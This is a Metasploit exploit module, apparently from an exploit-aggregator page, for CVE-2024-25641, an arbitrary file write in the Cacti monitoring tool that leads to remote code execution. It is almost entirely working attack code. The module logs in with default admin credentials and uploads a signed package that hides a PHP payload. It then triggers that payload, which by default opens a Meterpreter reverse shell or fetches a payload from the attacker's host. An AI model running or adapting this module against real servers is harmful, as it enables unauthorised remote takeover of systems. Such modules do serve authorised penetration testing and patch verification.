Share
## https://sploitus.com/exploit?id=PACKETSTORM:179082
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Cacti  
include Msf::Payload::Php  
include Msf::Exploit::FileDropper  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Cacti Import Packages RCE',  
'Description' => %q{  
This exploit module leverages an arbitrary file write vulnerability  
(CVE-2024-25641) in Cacti versions prior to 1.2.27 to achieve RCE. It  
abuses the `Import Packages` feature to upload a specially crafted  
package that embeds a PHP file. Cacti will extract this file to an  
accessible location. The module finally triggers the payload to execute  
arbitrary PHP code in the context of the user running the web server.  
  
Authentication is needed and the account must have access to the  
`Import Packages` feature. This is granted by setting the `Import  
Templates` permission in the `Template Editor` section.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Egidio Romano', # Initial research and discovery  
'Christophe De La Fuente' # Metasploit module  
],  
'References' => [  
[ 'URL', 'https://karmainsecurity.com/KIS-2024-04'],  
[ 'URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-7cmj-g5qc-pj88'],  
[ 'CVE', '2024-25641']  
],  
'Platform' => ['unix linux win'],  
'Privileged' => false,  
'Arch' => [ARCH_PHP, ARCH_CMD],  
'Targets' => [  
[  
'PHP',  
{  
'Arch' => ARCH_PHP,  
'Platform' => 'php',  
'Type' => :php,  
'DefaultOptions' => {  
# Payload is not set automatically when selecting this target.  
# Select Meterpreter by default  
'PAYLOAD' => 'php/meterpreter/reverse_tcp'  
}  
}  
],  
[  
'Linux Command',  
{  
'Arch' => ARCH_CMD,  
'Platform' => [ 'unix', 'linux' ],  
'DefaultOptions' => {  
# Payload is not set automatically when selecting this target.  
# Select a x64 fetch payload by default.  
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'  
}  
}  
],  
[  
'Windows Command',  
{  
'Arch' => ARCH_CMD,  
'Platform' => 'win',  
'DefaultOptions' => {  
# Payload is not set automatically when selecting this target.  
# Select a x64 fetch payload by default.  
'PAYLOAD' => 'cmd/windows/http/x64/meterpreter_reverse_tcp'  
}  
}  
]  
],  
'DisclosureDate' => '2024-05-12',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]  
}  
)  
)  
  
register_options(  
[  
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),  
OptString.new('PASSWORD', [ true, 'Password to login with', 'admin']),  
OptString.new('TARGETURI', [ true, 'The base URI of Cacti', '/cacti'])  
]  
)  
end  
  
def check  
# Step 1 - Check if the target is Cacti and get the version  
print_status('Checking Cacti version')  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'method' => 'GET',  
'keep_cookies' => true  
)  
return CheckCode::Unknown('Could not connect to the web server - no response') if res.nil?  
  
html = res.get_html_document  
begin  
cacti_version = parse_version(html)  
version_msg = "The web server is running Cacti version #{cacti_version}"  
rescue Msf::Exploit::Cacti::CactiNotFoundError => e  
return CheckCode::Safe(e.message)  
rescue Msf::Exploit::Cacti::CactiVersionNotFoundError => e  
return CheckCode::Unknown(e.message)  
end  
  
if Rex::Version.new(cacti_version) < Rex::Version.new('1.2.27')  
print_good(version_msg)  
else  
return CheckCode::Safe(version_msg)  
end  
  
# Step 2 - Login  
@csrf_token = parse_csrf_token(html)  
return CheckCode::Unknown('Could not get the CSRF token from `index.php`') if @csrf_token.empty?  
  
begin  
do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token)  
rescue Msf::Exploit::Cacti::CactiError => e  
return CheckCode::Unknown("Login failed: #{e}")  
end  
  
@logged_in = true  
  
# Step 3 - Check if the user has enough permissions to reach `package_import.php`  
print_status('Checking permissions to access `package_import.php`')  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'package_import.php'),  
'method' => 'GET',  
'keep_cookies' => true  
)  
return CheckCode::Unknown('Could not access `package_import.php` - no response') if res.nil?  
return CheckCode::Unknown("Could not access `package_import.php` - unexpected HTTP response code: #{res.code}") unless res.code == 200  
# The form with the CSRF token input field is not present when access is denied  
if parse_csrf_token(res.get_html_document).empty?  
return CheckCode::Safe('Could not access `package_import.php` - insufficient permissions')  
end  
  
CheckCode::Appears  
end  
  
# Taken from modules/payloads/singles/php/exec.rb  
def php_exec(cmd)  
dis = '$' + rand_text_alpha(4..7)  
shell = <<-END_OF_PHP_CODE  
#{php_preamble(disabled_varname: dis)}  
$c = base64_decode("#{Rex::Text.encode_base64(cmd)}");  
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}  
END_OF_PHP_CODE  
  
Rex::Text.compress(shell)  
end  
  
def generate_package  
@payload_path = "resource/#{rand_text_alphanumeric(5..10)}.php"  
  
php_payload = target['Type'] == :php ? payload.encoded : php_exec(payload.encoded)  
  
digest = OpenSSL::Digest.new('SHA256')  
pkey = OpenSSL::PKey::RSA.new(2048)  
file_signature = pkey.sign(digest, php_payload)  
  
xml_data = <<~XML  
<xml>  
<files>  
<file>  
<name>#{@payload_path}</name>  
<data>#{Rex::Text.encode_base64(php_payload)}</data>  
<filesignature>#{Rex::Text.encode_base64(file_signature)}</filesignature>  
</file>  
</files>  
<publickey>#{Rex::Text.encode_base64(pkey.public_key.to_pem)}</publickey>  
<signature></signature>  
</xml>  
XML  
  
signature = pkey.sign(digest, xml_data)  
xml_data.sub!('<signature></signature>', "<signature>#{Rex::Text.encode_base64(signature)}</signature>")  
  
Rex::Text.gzip(xml_data)  
end  
  
def upload_package  
print_status('Uploading the package')  
# Default parameters sent when importing packages from the web UI  
# Randomizing these values might be suspicious  
vars_form = {  
'__csrf_magic' => @csrf_token,  
'trust_signer' => 'on',  
'data_source_profile' => '1',  
'remove_orphans' => 'on',  
'replace_svalues' => 'on',  
'image_format' => '3',  
'graph_height' => '200',  
'graph_width' => '700',  
'save_component_import' => '1',  
'preview_only' => 'on',  
'action' => 'save'  
}  
  
vars_form_data = []  
vars_form.each do |name, data|  
vars_form_data << { 'name' => name, 'data' => data }  
end  
  
vars_form_data << {  
'name' => 'import_file',  
'filename' => "#{rand_text_alphanumeric(5..10)}.xml.gz",  
'content_type' => 'application/x-gzip',  
'encoding' => 'binary',  
'data' => generate_package  
}  
  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'package_import.php'),  
'method' => 'POST',  
'keep_cookies' => true,  
'vars_form_data' => vars_form_data  
)  
fail_with(Failure::Unreachable, 'Could not connect to the web server - no response when sending the preview import request') if res.nil?  
fail_with(Failure::UnexpectedReply, "Unexpected response code (#{res.code}) when sending the preview import request") unless res.code == 200  
  
html = res.get_html_document  
local_path = html.xpath('//input[starts-with(@id, "chk_file")]/@title').text  
fail_with(Failure::Unknown, 'Unable to import the package') if local_path.empty?  
  
vars_form['preview_only'] = ''  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'package_import.php'),  
'method' => 'POST',  
'keep_cookies' => true,  
'vars_post' => vars_form  
)  
fail_with(Failure::Unreachable, 'Could not connect to the web server - no response when importing the package') if res.nil?  
fail_with(Failure::UnexpectedReply, "Unexpected response code when importing the package (#{res.code})") unless res.code == 302  
  
local_path  
end  
  
def trigger_payload  
# Expecting no response  
print_status('Triggering the payload')  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path, @payload_path),  
'method' => 'GET'  
}, 1)  
end  
  
def exploit  
# Setting the `FETCH_DELETE` option seems to break the payload execution.  
# `Msf::Exploit::FileDropper` will be used later to cleanup. Note that it  
# is not possible to opt-out anymore.  
fail_with(Failure::BadConfig, 'FETCH_DELETE must be set to false') if datastore['FETCH_DELETE']  
  
unless @csrf_token  
begin  
@csrf_token = get_csrf_token  
rescue CactiError => e  
fail_with(Failure::NotFound, "Unable to get the CSRF token: #{e.class} - #{e}")  
end  
end  
  
unless @logged_in  
begin  
do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token)  
rescue CactiError => e  
fail_with(Failure::NoAccess, "Login failure: #{e.class} - #{e}")  
end  
end  
  
package_path = upload_package  
  
register_file_for_cleanup(package_path)  
  
# For fetch payloads, setting the `FETCH_DELETE` option seems to break the  
# payload execution. Using `#register_file_for_cleanup` instead, since we  
# know the local path.  
if target['Type'] != :php && payload_instance.is_a?(Msf::Payload::Adapter::Fetch)  
if File.absolute_path?(datastore['FETCH_FILENAME'])  
register_file_for_cleanup(datastore['FETCH_FILENAME'])  
else  
register_file_for_cleanup(File.join(File.dirname(package_path), datastore['FETCH_FILENAME']))  
end  
end  
  
trigger_payload  
end  
  
end